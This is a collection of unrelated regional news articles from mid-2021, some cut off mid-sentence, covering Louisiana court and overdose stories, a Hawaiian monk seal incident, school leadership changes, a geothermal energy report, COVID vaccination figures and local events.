It might also be an amenity for someone who is along for the ride on a mall visit, and wants a place to break off from the group while others keep shopping.

+7 Latest restaurant on Freret Street is this cafe inside the new Rouses grocery When Rouses Markets began developing its latest store on Freret Street, the company took some cues from the surrounding neighborhood. So this 

This spring, Rouses Markets opened a new store on Freret Street that has its own in-house restaurant, and, significantly, a bar, bringing the option to slake a thirst while shopping - a pairing with its own history in New Orleans from the days of the Shopper's Bars at Schwegmann's.

Creole Cuisine Restaurant Concepts runs a wide array of restaurants and bars, including the historic Broussards, Cafe Maspero and the Bombay Club. Lately, it has been growing in Jefferson Parish and now has its first north shore project underway, a third location of its Boulevard American Bistro slated to open this fall in Covington.

+12 Coolinary dining deals get early start, aiming to help New Orleans restaurants revive The annual Coolinary dining promotion is the answer to a challenge many New Orleans restaurants normally face each summer  getting people in 

+19 From oysters to steak, how this Lakeview restaurant row came back from catastrophe For months, it seemed that Joseph Faroldi couldnt go anywhere without people asking when his restaurant, Lakeview Burgers & Seafood, woul
A Mandeville woman who was coerced into performing oral sex on her boss as an underage high school student was shocked last month when 22nd Judicial District Judge William "Billy" Burris sentenced the defendant to probation instead of prison.

The victim, now 18, said she and her family had never agreed to such a lenient sentence for Jeremy Schake, who pleaded guilty in 22nd Judicial District Court on the north shore to a single felony count of carnal knowledge of a juvenile.

Schake, who was 23 at the time of the crime, was sentenced to 10 years, but all of it was suspended. He will be on probation for three years and must register as a sex offender for 15 years.

At the family's urging, 22nd Judicial District Attorney Warren Montgomery's Office took the unusual step asking Burris to reconsider the sentence. In a June 28 motion, Assistant District Attorney Iain Dover, who handled the case, said the sentence is "excessively lenient, and is therefore ripe for reconsideration."

Burris said that was the first he'd heard of it.

"The Court would not have accepted the plea agreement had it known that the victim was not agreeable to the plea," Burris wrote. "The State, through the District Attorney's office, in the light most favorable to it, failed to exercise due diligence. The District Attorney's Office, in any other light, purposefully failed to inform the Court of salient facts and opposition to the negotiated plea agreement despite being given many opportunities to do so."

Montgomery is now looking into what happened. He said Monday that Dover "has been restricted from appearing in court on behalf of the state of Louisiana pending further investigation."

Dover declined to comment.

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The victim and her family said they had conversations with Dover about wanting Schake to serve at least a year behind bars. In a victim impact statement, she told the court she still suffers from nightmares and an inability to trust others.

"Upset doesn't even begin to cover it," the victim said this week. "I'm extremely distraught and disappointed in how it was handled and concerned how many others could have been impacted."

Burris, in his written reasons, noted the victim "gave an incredible and emotional statement" and said it included facts that the court had not been told previously. Because of that, the judge wrote, he called attorneys to the bench for an off-record discussion, asking again whether everyone was sure that the plea was moving forward as originally discussed.

"Still the State said nothing to the Court about the Victim or her family not being agreeable to the plea," the judge wrote.

Burris said that he can't set aside a legally imposed negotiated sentence and resentence the defendant, and said that vacating Schake's pleas might subject him to double jeopardy among other issues.

"Although the Court, knowing what it now knows, would not have agreed to accept the plea, the Court cannot now 'unring the bell,'" he wrote, saying that the end result could be that Schake would face no consequences at all.

This story was altered on July 14, 2021 to correct the spelling of Iain Dover's first name.
HONOLULU  U.S. authorities launched an investigation and fined Louisiana tourists honeymooning in Hawaii after a video on social media showed a woman touching an endangered Hawaiian monk seal.

Update: Hawaii governor about tourists touching endangered seal: 'absolutely unacceptable'

The couple were deeply sorry, a man identified as Stephen told the Honolulu Star-Advertiser for a story Tuesday. We love Hawaii and the culture. We didn't mean to offend anyone."

A video posted on his wife's TikTok account showed a woman touching the seal at a Kauai beach in June. The video, which was shared widely on social media, showed her running away after the resting seal raised its head and snapped at her.

Watch the video on Instagram (can't see it? watch it here):

Stephen said he and his wife, Lakyn, have received death threats and requested their last name not be published. His wifes TikTok account has since been set to private.

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The couple were on Kauai for their honeymoon after they got married in Maui. Stephen told the Star-Advertiser it was the first time they had seen a Hawaiian monk seal and they were unaware of the laws pertaining to the endangered species.

The Associated Press wasn't immediately able to reach the couple Tuesday.

There are an estimated 1,100 Hawaiian monk seals in the Northwestern Hawaiian Islands and 300 in the main Hawaiian Islands.

It's a felony to touch or harass a Hawaiian monk seal under state and federal laws, with penalties of up to five years in prison and a $50,000 fine.

The newspaper reported that authorities from the National Oceanic and Atmospheric Administration contacted the couple over the weekend and assessed an undisclosed fine.

Dominic Andrews, a spokesman for NOAAs Office of Law Enforcement, said an investigation is underway and declined to comment further.
The nonprofit board overseeing Lycee Francais de la Nouvelle-Orleans, a popular French immersion school Uptown, has appointed a new leader following the resignation of top brass amid a labor law investigation. Danielle Dufauchard was unanimously voted in as interim CEO on July 6, chairman Matthew Moreland said.

She will head the B-rated charter school, which is authorized by the state and has a specialized curriculum for prekindergarten through 11th grade, starting in the upcoming 2021-22 school year. Dufauchard is also the principal of Lycee Francais' lower school, covering pre-k through second grade, and is a parent of three students who attend the school, officials said.

"Principal Dufauchard has been a long-standing, dedicated member of the Lycee leadership team, and has been integral to the growth of the school from its establishment to expansion to three campuses," Moreland said.

He said Dufauchard will help Lycee transition as the board searches for a permanent chief executive officer to replace Marina Schoen, who resigned in June amid labor law and administrative pay investigations. Schoen, who had been a leader at the school since 2013, gave her notice in letters to staff and the board of directors on June 21.

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She also announced that day that chief operating officer Jethro Celestin would be leaving to "explore other professional opportunities." Board officials said Celestin had planned his departure months earlier and that his leaving was unrelated to controversy at the school.

+3 Leadership at Lycee Francais resign amid labor law, administrative pay investigations Two top administrators and a governing board member have resigned from Lycee Francais de la Nouvelle Orleans, a popular French immersion chart

Schoen said she was leaving because she had been frustrated trying to recruit French teachers and by running a niche immersion school during "an extremely challenging year" of pandemic and fraught international relations.

Her departure came after school's former human resources director told the board that Lycee Francais was in the midst of a U.S. Department of Labor wage investigation and said in a 32-page complaint she was afraid the school had violated federal law. A spokeswoman for the school said Lycee Francais was still awaiting results of that investigation and that it will make them public when finalized.

School leaders said Dufauchard is skilled in STEM education, data management, non-profit management and school intervention, and that in 2021 she was competitively selected to join a New Schools for New Orleans fellowship program that prepares principals for executive school leadership.
Facing a proliferation of the potent opiate fentanyl, along with isolating lockdowns and other stressors related to the coronavirus pandemic, Louisiana endured the nations fifth-worst surge in drug overdose deaths last year, the federal government said Wednesday.

About 1,930 people died of drug overdoses in Louisiana in 2020, an increase of nearly 48% from the roughly 1,300 such deaths reported in 2019, according to preliminary information from the National Center for Health Statistics. Only Vermont, West Virginia, Kentucky and South Carolina registered greater increases, with jumps ranging between 53% and 58%.

Overdose deaths across the U.S. soared to a record 93,000 last year, easily surpassing the prior mark of 72,000 set in 2019, the governments estimate shows. That equates to a jump of nearly 30%  a staggering 250 overdose deaths per day, or 11 an hour.

Top 10 states for overdose increases in 2020 1. Vermont: 57.6% 2. West Virginia: 55.6% 3. Kentucky: 53.7% 4. South Carolina: 52.8% 5. Louisiana: 47.6% 6. Tennessee: 44.6% 7. California: 43.7% 8. Nebraska: 43.2% 9. Arkansas: 42.3% 10. Virginia: 42.1%

But the Pelican State shouldered a disproportionate amount of the spike, according to the government's findings, which confirmed a February analysis from The Times-Picayune | New Orleans Advocate.

For example, the number of additional overdose deaths in Louisiana last year  631  was greater than in all but a handful of states in the country. And that number was higher than the total overdose deaths of many states.

Jefferson Parish Coroner Dr. Gerry Cvitanovich said the statistics are not a surprise.

He noted that last year was defined by prolonged periods of social distancing and other sacrifices to slow the spread of the coronavirus, which hit Louisiana particularly hard. Simultaneously, the dangerously powerful opiate fentanyl has continued to replace heroin and prescription painkillers as the drug driving the nations overdose epidemic for the last couple of years, especially in Louisiana. Dealers have been known to lace drugs with fentanyl to boost their potency while keeping them affordable.

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Everyone always says we lead the nation in all the bad categories and are at the bottom in the good categories, said Cvitanovich, whose parish is the second-most populous in Louisiana. In the case of fentanyl deaths, sadly, thats true.

Cvitanovich estimates that fentanyl overdose deaths in Jefferson this year are on pace to be two times higher than they were last year and four times higher than they were in 2019.

He said the drugs potency was tragically on display earlier this year, when a senior at nearby Belle Chasse High School died after taking just half of a pill thought to contain fentanyl. Another girl took the other half of the pill and ended up unresponsive, though she survived.

+2 In Belle Chasse high school senior's fentanyl overdose, a Gretna man is accused of murder Plaquemines Parish authorities have arrested a Gretna man accused of selling drugs laced with fentanyl to 18-year-old Hailey Deickman, a Belle

Authorities investigating that case have jailed the man accused of providing the pill to Hailey Deickman, who died at 18, as well as the other girl, whose name wasn't publicly released.

Cvitanovich said he hasn't seen any evidence that the stresses of the pandemic drove more Americans to begin using drugs. Other experts quoted in national publications concur, saying all signs are that the lions share of the increased overdose deaths occurred among people who were already battling drug addiction. Their struggles were worsened by the isolation, interrupted routines and joblessness resulting from the pandemic.

Regardless, the spike in deadly overdoses helped 2020 become the deadliest-ever year for the nation, which recorded more than 3.3 million deaths last year, 378,000 of which were attributed to the coronavirus.

The Associated Press contributed to this report.
Norman, OK (73070)

Today

Except for a few afternoon clouds, mainly sunny. A stray shower or thunderstorm is possible. High 87F. Winds NE at 10 to 15 mph..

Tonight

A mostly clear sky. Low 66F. Winds NE at 10 to 15 mph.
Williamsport, Pa. - Did you know there is no national park in Pennsylvania, New York, or New Jersey?

More than 41 million people reside within these three states.

However, despite 63 National Parks spread out across the United States, there is no designated national park within an easy driving distance

The Sierra Club, founded in 1892 by naturalist John Muir, is a national environmental organization. Muir's efforts are credited for the preservation of Yosemite and Sequoia National Parks.

The Pennsylvania and New Jersey chapters of the Sierra Club have been spearheading the effort to have the Delaware Water Gap Recreation Area designated the 64th National Park.

The Delaware Water Gap Recreation Area covers 40 miles, and spans Pennsylvania's northeast border between New York and New Jersey. The area is visited by about four million people each year, roughly the same number of people that visit Yosemite and Yellowstone National Park annually.

But the current status of the Delaware Water Gap as a recreation area means it does not receive the same level of funding, or federal protection, which a national park does.

In Pennsylvania, some may be curious how places like Gettysburg and Valley Force at not national parks. They are, but they also are designated strictly as a "historical national park."

What is the difference between a national park and a national historical park?

Overall the National Park System have the same goal: preservation.

According to the National Park Service, "The diversity of the parks is reflected in the variety of titles given to them."

The NPS explains the differences.

Among federal designations for land, include a: national park, national preserve, national monument, national memorial, national historic site, national seashore, and a national battlefield park, such as Gettysburg or Valley Forge.

Since 1872, the nation's park system has come to include 380 separate designations.

According to The National Park Service website, a national park contains a variety of resources and encompasses large land or water areas to help provide adequate protection of the resources.

More than half the areas included in the National Park System preserve places which commemorate persons, events, and activities that were important in national history.

More commonly, national historic sites have typically been the most commonly applied status. There is only one international historic site, Saint Croix Island in Maine, which is between the border of the United States and Canada.

You can help!

Only an act of Congress may add another unit to the federal roster of park designations in the United States which would guarantee federal protection and funding in perpetuity.

For action to happen, individuals must act, and contact their U.S. Senator.

Pennsylvania has two U.S. Senator's - A short email to your member of Congress will enable them to know and realize how people feel about the potential of declaring the Delaware Water Gap Recreation Area a National Park.

Something easy as, "Dear Senator, I support the designation of the Delaware Water Gap Recreation Area to be a National Park because all citizens deserve to have more opportunities to enjoy the outdoors."

A good place to start would be to contact either U.S. Sen. Robert P. Casey, Jr., and, U.S. Sen. Pat Toomey.
Castanea Township, Pa. - There will be no shortage of fun for anyone at this years first Community Day in Castanea Township on Sat., July 24.

Rick Schulze, chair of the Castanea Township Recreation Committee sad, We are attempting to meet the diverse recreational and social interests of our residents and all of those who live in our county. Castanea Township is a great place to live and work. We hope this Community Day showcases Castanea Township.

Related Reading: Bald Eagle Valley Trail to host 5K during Castanea Township Community Day

The day will open at 9 a.m. with a 5k walk/race sponsored by the Friends of the Bald Eagle Valley Trail.

The race will begin at the Castanea Historic Railroad Complex, 15 Logan Avenue, Lock Haven.

A vendor fair featuring over 20 vendors is scheduled from 11 a.m. to 3 p.m. at the Historic Railroad Complex.

Vendors will be selling handmade jewelry, farmhouse and home decor, decals, childrens books, handmade dish towels, original ink and pastels art, activewear family clothing, spices, and wax warmers.

Exotic Edventures, an exotic reptile and animal show, is featured from 11 a.m. to noon at the Castanea Fire Company Station 3, 111 McElhattan Avenue. The educational show is children and family friendly.

The Fire Company is planning an Open House 11 a.m. to 3 p.m. including a hot dog/hamburger sale, and a vehicle rescue demonstration at 1:30 p.m.

In addition, apparatuses will be available for walk throughs. Firefighters will be available for questions.

The 1941 Restored Caboose at the Historic Railroad Complex will be open for tours from 11 a.m. to 3 p.m. by the Clinton County Historical Society. It is operated as an Airbnb. The Clinton Central Model Railroad Club layout will be open for tours from 11 a.m. to 3 p.m.

Moose Lodge 100 on Hanna St. will sponsor a hot sausage and fries sale in the rear pavilion area from 4 to 6 p.m.

A cash bar will be open with outdoor service provided by Moose members.

The day will end with a free performance by the Frosted Mini Wheats in the Moose Pavilion. The Frosted Mini Wheats are two members of the original band Wheat. They are favorites at many area venues and feature music from the past.

Castanea Township Recreation Committee members are Brady Carnahan, MaryPat Dion, Christine Nestlerode, Mary Margaret Winton, and John Gradel.

We are lucky to have such supportive township supervisors, a township secretary and dedicated committee members. This inaugural Community Day is free to the public regardless of whether one lives or works in the township," Schulze said.

"We want people to celebrate and support Castanea, the Historic Railroad Complex, Bald Eagle Valley Trail, Harveys Run Park, the Fire Company and the Moose Lodge. We want the public to recognize our community partners as assets," he concluded.

Correction The date has been corrected in the headline and article. Community Day is July 24.
Bradford County, Pa.  Police filed felony aggravated assault charged against a Bradford County man after they said he pushed a person down, breaking multiple bones in his leg.

Kyle Decker, 36, of Monroeton was charged on July 4 after authorities said they spoke with an accuser at the Towanda Memorial Hospital. According to the report, Decker got into a verbal altercation with the man before officers said he body-checked him to the ground.

After being transported to the hospital the accuser, who sustained factures in his left fibula and tibia, called State Police to report the assault.

Decker, who has several active cases against him, was charged with misdemeanor simple assault and felony aggravated assault. Deckers bail was set at $50,000 monetary on July 4 and he was detained to the Bradford County Prison.

Docket sheet
Harrisburg, Pa.  Two new community-based initiatives have been launched by the Office of Community Engagement (OCE) and the Community Access to Information Dashboard (CAID), according to Colonel Robert Evanchick, commissioner of the Pennsylvania State Police (PSP).

"Pennsylvania State Police personnel are always considering and developing initiatives that will improve the department's transparency and community engagement," said Colonel Evanchick. "The development of the OCE and the CAID assists our department in strengthening in-person community relations and public access to statistical data."

The OCE was established to proactively engage with community members and organizations and to collaboratively identify and problem-solve local challenges to increase the safety of residents, visitors, and law enforcement. Outreach efforts include all segments of communities, including people of diverse faiths, races, ethnicities, socio-economic backgrounds, cultural traditions, gender, and sexual orientation.

OCE is comprised of the Community Affairs Section, which consists of a section commander and 17 Community Affairs Officers (CAOs) and supervisors, and the Heritage Affairs Section, which consists of a section commander and four Heritage Affairs Liaison Officers (HALOs).

CAOs and HALOs work with community leaders, non-profit organizations, legislators, and other law enforcement agencies to build positive, proactive relationships with residents and visitors of the Commonwealth of Pennsylvania.

In addition, CAOs strive to develop relationships within underserved communities across the commonwealth, commonly working together with minority groups, mental health advocacy groups, and those in need.

HALOs focus on educating the public on the role of law enforcement to create stronger relationships and to increase trust within the community, as well as working with local law enforcement agencies to prevent and investigate hate- and bias-related crimes. HALOs also lead the department's training on implicit bias awareness and de-escalation techniques.

OCE command staff and personnel are interested in the public's ideas for developing strategies that may be employed to improve police community relations in your neighborhood. Contact information is found on the OCE page, visit psp.pa.gov.

CAID was designed to allow the public to access and search PSP aggregated incident-related data. There are two primary goals of the CAID in sharing data with the public. One is to provide transparency to the media and public regarding traffic crash and enforcement, crime, and calls for service data. The second is to provide the communities PSP serves with an ownership stake in their quality of life by demonstrating significant police-related incident trends and some of the mitigation efforts taken to impact those trajectories.

The dashboard displays aggregated State Police incident data. It contains no personally identifiable information. Users can refine the data with custom date ranges, locations, and categories.

The CAID currently contains crash and enforcement data. Future versions of the CAID will include:

Incident mapping

Commercial Vehicle data

Crime data

Calls for Service data

"Due to the advancement of technology and current electronic reporting, data can now be collected, analyzed, and displayed utilizing multiple dashboards," said Colonel Evanchick. "I want to thank all of the personnel who contributed to developing the public dashboard."

Future enhancements to CAID will include state police commercial vehicle enforcement data, crime data, and calls for service. For more information and to access the dashboard, visit CAID.

PSP is interested in the public's feedback. The "Contact Us" button located at the top of the CAID, provides the opportunity to submit suggestions for dashboard enhancements. The feedback will be provided to the dashboard development team for consideration.
Calhoun, GA (30701)

Today

Showers and thunderstorms. High 79F. Winds light and variable. Chance of rain 80%..

Tonight

Showers and thundershowers in the evening, then cloudy with rain likely overnight. Low 69F. Winds light and variable. Chance of rain 90%.
Fulton Arrington is a past president and current board member of the Friends of the New Echota State Historic Site. He can be reached by email at fultonlarrington@yahoo.com.
Rome, GA (30161)

Today

Showers and thunderstorms. High 81F. Winds light and variable. Chance of rain 80%..

Tonight

Rain likely. Low near 70F. Winds light and variable. Chance of rain 90%. Rainfall near a half an inch.
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7 things to know about the ambitious $117 billion federal rail plan that would mean more and faster trains in Connecticut
News

No confirmed cases of Delta variant of COVID-19 in Henry County

NWS file photo COVID-19 vaccines continue to be available at the Henry County Health Department in Napoleon, as well as Rite Aid and Walmart in Napoleon.

As the Delta variant of COVID-19 continues to cause outbreaks, there have been no confirmed cases of that variant in Henry County so far, while over 45% of residents have received at least one dose of the vaccine.

As of Monday afternoon, Henry County had a total of 2,751 cases since the beginning of the pandemic and Henry County Health Commissioner Joy Ermie said four variant cases have been identified among those cases, but none of them were the Delta variant. However, not all confirmed cases are also tested to see if its a variant.

We know the Delta variant is becoming more prevalent in Ohio, so were keeping an eye on it, Ermie said, adding health commissioners around the state are anticipating more information on the variant later this week. What we do know is the more people that have the vaccine, the less of a chance this virus has to mutate.

The only time a virus can mutate is when it is passed from host to host, she continued. If we dont allow it the opportunity to infect someone, then it cant mutate.

As of July 7, the county had four active COVID-19 cases.

Our cases are very low, and we want to keep it that way, Ermie said. The best way to keep it that way is to get your vaccine because once the fall hits and the kids are back in school, it gets colder, were shutting our windows, were all in confined spaces and our ventilation is not as fantastic because were not outside ... its just natural for germs to be passed to other people when youre in close proximity to them.

If you want to avoid isolation and quarantine and illness, then a vaccine is your best bet, she continued.

As of Monday afternoon, 45.29% of Henry Countys population (totaling 12,232 people) had received at least one dose of a COVID-19 vaccine.

Im very, very proud of our 60 and older population. They have absolutely hit over 70% vaccinated, Ermie added.

In Henry County, 85.45% of the population who is 80 years and older have received the vaccine, while 80.3% of those 75-79 years old have also received it. When looking at those 70-74 years old, 89.08% have received the vaccine, dropping slightly to 86.07% when looking at those 65-69 years old. Of those 60-64 years old, 73.88% have received the vaccine. Of those 50-59 years old, 59.09% have received the vaccine.

The percentages fall in the younger age groups, with 46.7% of those 40-49 years old receiving the vaccine; 36.79% of those 30-39 years old; 31.05% of those 20-29 years old; and 8.77% of those from birth to 19 years old. However, only those 12 years and older are currently eligible to receive a vaccine.

The Henry County Health Department is offering Moderna, Pfizer and Johnson & Johnson vaccine by appointment and by walk-ins during its hours of 8 a.m.-4:30 p.m. Monday through Friday. Ermie noted Walmart and Rite Aid in Napoleon also are offering walk-in vaccinations for COVID-19. The health department will continue to do mobile vaccine clinics in the next few months.

Ermie urged anyone who has concerns about potential side effects of the vaccine to contact their primary care physician or call the health department at 419-599-5545.

Call us and talk to one of our public health nurses or call your physician to get your questions answered, she said. Theres a lot of misinformation out there, and we would rather you get the right information and make the best decision for yourself.

Ermie noted the Centers for Disease Control and Prevention is now permitting the COVID-19 vaccine to be administered at the same time as other vaccines.

If youre bringing your child who is over 12 in to get any school vaccinations, they can get their COVID shot at the same time now, so thats more convenient, Ermie said, adding multiple family members can also schedule appointments together.
News Release: New NREL Report Details Current State and Vast Future Potential of U.S. Geothermal Power and Heat

July 14, 2021

A new publication from the U.S. Department of Energys (DOEs) National Renewable Energy Laboratory (NREL) showcases the current state of geothermal energy use in the United States and provides an outlook to a future where geothermal power and heat can play a key role in the national transition to a renewable, decarbonized energy system.

Providing up-to-date information and data reflecting 2019 geothermal power production and district heating markets, technologies, and trends in the United States, the report, 2021 U.S. Geothermal Power Production and District Heating Market Report, will serve as a valuable resource for policymakers, regulators, developers, researchers, engineers, financiers, and other decision-makers.

Our previous analysis of the geothermal energy sector through DOEs GeoVision report makes it clear that geothermal power and heat can play an important role in our energy future, said Johney Green, NREL associate laboratory director for Mechanical and Thermal Engineering Sciences. To reach that potential, we have technical and nontechnical barriers that need to be overcome to reduce risks and costs. This report provides a deeper understanding of the current market environment and trends and highlights challenges and opportunities for increased geothermal deployment.

Increasing the use of geothermal energy for U.S. heating and cooling can significantly contribute to national decarbonization goals to cut U.S. emissions in half by 2030 and achieve a carbon-free electric sector by 2035. Geothermal district heating technology is mature and is currently being deployed widely in Europe and Asia.

Select market highlights from the report include:

United States geothermal power capacity increased slightly from 3.627 gigawatts (GW) to 3.673 GW from the end of 2015 through the end of 2019.

During this same timeframe, the United States brought seven new geothermal power plants online, adding 186 megawatts (MW) of nameplate capacity, while 11 plants were retired or classified as nonoperational, subtracting 103 MW of nameplate capacity.

Since late 2019, nine new geothermal Power Purchase Agreements (PPAs) have been signed in four states, which include plans for the first two geothermal power plants to be built in California in a decade.

There are 23 geothermal district heating (GDH) systems, which use geothermal energy to provide heat to buildings through a distribution network, in the United States. The oldest installation dates from 1892 (Boise, Idaho), and the most recent installation was completed in 2017 (Alturas, California).

U.S. GDH systems tend to be smaller in size (average of 4 MWth) than European GDH systems (continent-wide average of about 17 MWth), and orders of magnitude smaller than the average GDH system in China (about 1,000 MWth).

The newest market report conveys that the geothermal industry is poised to make big leaps into enhanced geothermal systems and the heating and cooling sector, said Acting Assistant Secretary for Energy Efficiency and Renewable Energy Kelly Speakes-Backman. These strides outline the potential for the widespread deployment of this important renewable resource.

Moving forward, the geothermal power sector is ready for technological innovation. Significant opportunities for expanding power production exist through cutting-edge enhanced geothermal systems (EGS) technology development, new power plant operational paradigms such as hybridization, harnessing vast coproduction potential from existing oil and gas infrastructure, and critical materials extraction from produced geothermal brines. Innovative approaches to geothermal district heating involve integrating heat pump technology and thermal energy storage, as well as implementation and optimization of energy districts.

In addition, new public and private stakeholders such as universities and companies like Microsoft and Google are embracing geothermal as an on-campus carbon-free heating and cooling solution for achieving decarbonization goals.

State-level geothermal legislation and policy development is active in California, New Mexico, Washington, Hawaii, and Nevada, focusing on geothermal contributions to aggressive decarbonization goals as well as streamlining administrative and permitting authorities for developing geothermal resources.

This report was developed by NREL researchers and Geothermal Rising, a geothermal energy industry nonprofit organization, with funding from the DOEs Geothermal Technologies Office.

This unique report captures domestic capacity and usage for geothermal power production and district heating and cooling, said Jody Robins, NREL senior geothermal engineer and lead author. The report also evaluates the impact of state and federal policy, presents current research on geothermal development, and describes future opportunities for the domestic geothermal market and industry.

The coauthors are NRELs Amanda Kolker, Francisco Flores-Espino, Koenraad Beckers, Hannah Pauling, and Ben Anderson, along with Geothermal Risings Will Pettitt and Brian Schmidt.

NREL is the U.S. Department of Energy's primary national laboratory for renewable energy and energy efficiency research and development. NREL is operated for the Energy Department by the Alliance for Sustainable Energy, LLC.
Cultivating a flourishing community starts with being a voice for the voiceless and building up resources for those who may struggle to take care of themselves and their families.

Patrick Christensen, president of Sturtevant-based Horizon Retail Construction, is a great example of a business owner who is always considering the needs of his community.

In the 17 years since Christensen has been actively involved in philanthropy, he has donated much-needed funding, resources and time to dozens of local organizations in need. A few of these beneficiaries include the Blood Center of Wisconsin, Racine-based Halo Incs coat drive, Kiwanis Club of Greater Racine, Village of Mount Pleasant Recreation Program and Racine County Food Bank.

For Christensen, its all about the kids

But perhaps nothing gives Christensen as much joy and personal satisfaction as making a difference in kids lives. His long-standing charitable work has meaningfully impacted many youngsters in the greater Racine area and beyond for many years.

In addition to monetary gifts like scholarships, his work on behalf of in need-children includes donating iPads to special needs students at the Wadewitz Elementary School in Racine, sponsoring 123 kids for gifts as a part of the Milwaukee-based Penfield Childrens Center gift drive and donating construction materials to the Nash Elementary School in Kenosha.

He is especially proud of his work to improve the lives of the children who attend the Hands of Opportunity Center (HOC).

The non-profit organization, which serves special needs communities in Racine County, plays a special role in the Christensen family.

When Christensen heard of two immediate needs from his interactions with HOC Executive Director, Sheryl Hamilton, he jumped into action, donating a Horizon passenger van for transporting kids from their schools to afternoon programs at HOC.

He followed up by donating a $20,000 sensory gym on behalf of his family. Currently in construction, the gym allows therapists to help children with developmental disabilities learn to play through swinging, jumping and climbing. The gym will have a climbing wall, soft, canvas tunnels to navigate, colorful balls of multiple sizes and cushioned flooring.

During the whole journey of this project, Patrick was committed to our agency and mission, says Hamilton. His main focus was to ensure our goals for the gym were achieved through his donation. He made himself available to our team if we had any questions or barriers throughout the steps to completion. Whatever our team felt was needed, Patrick would accommodate. The donation of the van was a total surprise. It was something our center has had for a goal, but it was just too expensive for our nonprofit. After our discussion, Patrick ensured the van would be given to our center.

For Christensen it comes down to a unique ability to give back.

I am proud that I can contribute to something thats so valuable, Christensen said. Knowing how lucky and privileged we are, once you have an ability to do things, then you just should.

The family that gives together

Its a sentiment that runs deep in the Christensen household. Christensen, whose mother was a social worker, grew up volunteering with the organizations she worked with, a purpose he carries with him to this day, and one in which he instills in his children.

As a family, we participate in these projects together, he says. Thats probably the most important thing  teaching my sons that we are all part of the community and you should always find a way to be of service.

In addition to involvement with the HOC, the family has donated Christmas gifts to several Racine-area organizations, including the Womens Resource Center, as well as to organizations that serve the needy in Florida, where the family spends time each year.

We noticed that some kids in Florida just go without Christmas gifts, so we donate up to a hundred gifts some years, Christensen says. We get lists, and if a kid says Id like a size 10 Nike shoe, my sons would buy them and we would donate them.

Involving his own children in philanthropy ensures that the legacy of giving will continue for generations.

Im trying to teach my kids to give back and the value of giving back, Christensen said. They should realize theres a whole world out there.

This content was produced by Brand Ave. Studios. The news and editorial departments had no role in its creation or display. Brand Ave. Studios connects advertisers with a targeted audience through compelling content programs, from concept to production and distribution. For more information contact sales@brandavestudios.com.

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Assisted by Dafne Reyes, a bridal stylist at Elegance Wedding & Evening Wear, Walter said yes to the dress after trying on about four to five wedding gowns.

"You will be beautiful," Reyes said after Kami Walter tried her pick on a second time.

Charlott Sitarski, owner of Elegance Wedding & Evening Wear, said her shop began taking part in Operation Wedding Gown in 2008.

The shop didn't take part in the program last year due to COVID-19, Sitarski said.

Under the national nonprofit program founded by Heidi Janson, wedding gowns are given away as a special thank you to military men and women or first responders, Sitarski said.

The giveaway takes place twice a year  always around the Fourth of July, then in November, around Veterans Day, Sitarski said.

This year the giveaway also included those in the medical field, including doctors and nurses, who were front-line COVID-19 workers.

"It's really rewarding to say thank you and to learn what they did for our country and that this helps them out," Sitarski said.

The shop will be working with 10 brides who registered for the program.
MICHIGAN CITY  One person was killed and another in critical condition following a shooting in Michigan City, police said.

Around 9:20 p.m. Tuesday officers responded to an unconscious man bleeding from the head in the 1100 block of Buffalo Street, said Michigan City Sgt. Steve Forker.

Police found Aaron Luncsford, 39, of Michigan City, with a severe head injury lying on the floor. A faint pulse was detected and LaPorte County EMS transported him to Franciscan Health Michigan City. Police said Luncsford died from his injury at the hospital.

Michigan City police were then called to a reported gunshot victim in the 100 block of West Homer Street. Officers found a 43-year-old Michigan City resident who was shot in the neck outside of his home, Forker said.

The victim was transferred from a local hospital to South Bend Memorial Hospital, where he remains in critical condition.

Both incidents were investigated and witnesses were interviewed. Michigan City officers identified a person of interest in both shootings shortly after the second gunshot victim was located. The suspect was detained, Forker said. Criminal charges are pending.
Mehta-Paul last was seen at her medical office March 21, 2011.

Fontaine lived with his mother in the 9800 block of Twin Creek Boulevard in Munster, but he did not report her missing, records show.

A missing persons report was filed March 24, 2011, after police went to her residence at the request of a colleague, records state.

During the investigation of her disappearance, Fontaine knew Mehta-Paul was deceased but gave police various false statements, including that she unexpectedly traveled to India, according to his plea agreement.

Fontaine admitted he found Mehta-Paul dead March 21, 2011, but did not call 911 or report her death to a physician, the Lake County coroner's office or police.

Instead, he "disposed of the remains in a manner not authorized by law" in an effort to hinder the investigation into her disappearance and death, records state.

The investigation into Mehta-Paul's disappearance continued for eight years, until Fontaine's arrest on the murder charge in March 2019.
Commissioner and City Council President Scott Evorik said he is "really afraid" of townhomes and called the site a "terrible location" for town homes.

"It's too close to Schmidt Farms. Those houses are high-value houses, and town homes will depreciate that in a heartbeat," Evorik said. "You want town homes, I would say put them on ... the other side of 231. I would not do town homes here."

When asked, Evorik said he would like to see all single-family homes on the site, and acknowledged the challenge that comes with building single-family homes along the interstate.

"Understandable. I gotta look out for the people that are existing, already there, like Schmidt Farms and all that, they are high-dollar houses, and townhomes would depreciate that  that's just my thoughts," Evorik said.

Commissioner Dan Rohaley asked what the future plans for Delaware Parkway would be, as the subdivision would add more cars to the road.

"Here's my issue. You got 227 units, you're going to put 454 more cars on Delaware? Seriously?" Rohaley said. "Unless Delaware's going to get wide and really be built out, that's a pretty heavy stretch, and I don't think everybody is going to go over the overpass and go out of the way just so they can get on I-65."
But Doden hasn't been alone in hitting up Hoosier Republicans for big donations over the past couple of months.

Lt. Gov. Suzanne Crouch, who is term-limited in her current post and expected to seek the state's top job in 2024, has raised $182,500 in large contributions since the May 18 primary from supporters in southwest Indiana, according to state campaign finance records.

Records show Crouch also started the year with $659,452 in her campaign account. So she and Doden likely are even for cash on hand when donations to Crouch worth less than $10,000 are added to her total.

Notably, Holcomb has collected nearly $70,000 in large donations since May, records show. Holcomb also had $1.77 million in campaign account at the end of last year.

The governor likely is a long way from endorsing a successor. But records show Crouch donated $2.5 million to Holcomb's gubernatorial campaigns in 2016 and 2020, and she instantly would dominate the actual and potential field of GOP gubernatorial candidates in fundraising if Holcomb chooses to return the favor.

Republican Attorney General Todd Rokita, a Munster native widely believed to be eyeing the governor's office, received no large donations in the first half of the year, according to state campaign finance records.
The fine needs to be meaningful but not punitive, Lyp said. The goal is to reduce some of the fatigue officers encounter as well as the impact on neighbors.

After two visits in a months time, the property owner or manager would be summoned to a meeting with police brass to talk about the problem.

The citys Board of Works would be empowered to reduce or eliminate fines if a good faith effort to reduce the problem is shown. That could be done by tweaking management or the way tenants are screened, Lyp said.

This has been a concern of mine for many years, Councilwoman Diana Reed, D-1st, said.

She suggested distinguishing between apartment complexes with a large number of units and just a few, which Lyp promised to incorporate into the revisions hes making before the council next considers the proposal.

